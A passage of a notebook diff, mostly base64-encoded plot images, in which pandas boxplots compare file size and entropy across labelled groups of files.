JlfabgXOA\n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\nRK5CYII=\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x12b500890>"
+       ]
+      }
+     ],
+     "prompt_number": 129
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### Let's zoom in.  We can see some separation between the files here."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot(column='size', by='label')\n",
+      "plt.ylabel('File Size')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')\n",
+      "plt.ylim(0, 15000)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 130,
+       "text": [
+        "(0, 15000)"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\n/HU3DVrRAAAAAElFTkSuQmCC\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x12b86ad50>"
+       ]
+      }
+     ],
+     "prompt_number": 130
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### Next we compare the entropy."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot('entropy', 'label')\n",
+      "plt.ylabel('Entropy')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 131,
+       "text": [
+        "<matplotlib.text.Text at 0x12b8ab5d0>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\nDrPxuHskyalTZ86PRt0DWFxWy